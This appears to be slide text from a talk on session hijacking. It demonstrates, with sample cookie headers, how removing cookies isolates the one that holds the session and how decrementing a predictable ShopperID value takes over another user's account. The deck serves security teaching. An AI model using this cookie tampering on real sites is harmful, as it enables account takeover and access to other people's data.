Session Hijacking

Create a new account

Excellent

Find Your Account Summary Screen

Analyze the Cookies you Send Name Value 20214200UserName foo%40foo%2Ecom 20214200FirstName Michael BIGipServerSecure2.TEAM.WebHosting 1852316332.20480.0000 LastURL http%3A%2F%2Fwww%2Esite%2Ecom ShopperID 193096346 ASPSESSIONIDQAASCCQS GKEMINACKANKBNLFJAPKNLEM UserID 2366239

Start Removing Cookies Cookie: 20214200UserName=foo%40foo%2Ecom; 20214200FirstName=Michael; BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000 LastURL=http%3A%2F%2Fwww%2Esite%2Ecom; ShopperID=193096346; ASPSESSIONIDQAASCCQS=GKEMINACKANKBNLFJAPKNLEM; UserID=2366239

I still have access

Remove the next cookie Cookie: 20214200UserName=foo%40foo%2Ecom; 20214200FirstName=Michael; BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000 LastURL=http%3A%2F%2Fwww%2Esite%2Ecom; ShopperID=193096346; ASPSESSIONIDQAASCCQS=GKEMINACKANKBNLFJAPKNLEM;

Access still granted

Remove the next cookie Cookie: 20214200UserName=foo%40foo%2Ecom; 20214200FirstName=Michael; BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000 LastURL=http%3A%2F%2Fwww%2Esite%2Ecom; ShopperID=193096346 ;

Boom! I get logged out

Let’s change the cookie value Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; ShopperID= 193096346 ; Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; ShopperID= 193096345 ;

Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; ShopperID= 193096346 ;

Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; ShopperID= 193096345 ;

You may now call me Emily

What would you do here? ShopperID= MTkzMDk2MzQ2 ; ShopperID= 8ae5abacf90dd1f887154468f71bb5fe ; ShopperID= a1a54996391f88e632f0c88c37c56ac709fb449e40f7737adf65fa3ce8e3ce7a ;

ShopperID= MTkzMDk2MzQ2 ;

ShopperID= 8ae5abacf90dd1f887154468f71bb5fe ;

ShopperID= a1a54996391f88e632f0c88c37c56ac709fb449e40f7737adf65fa3ce8e3ce7a ;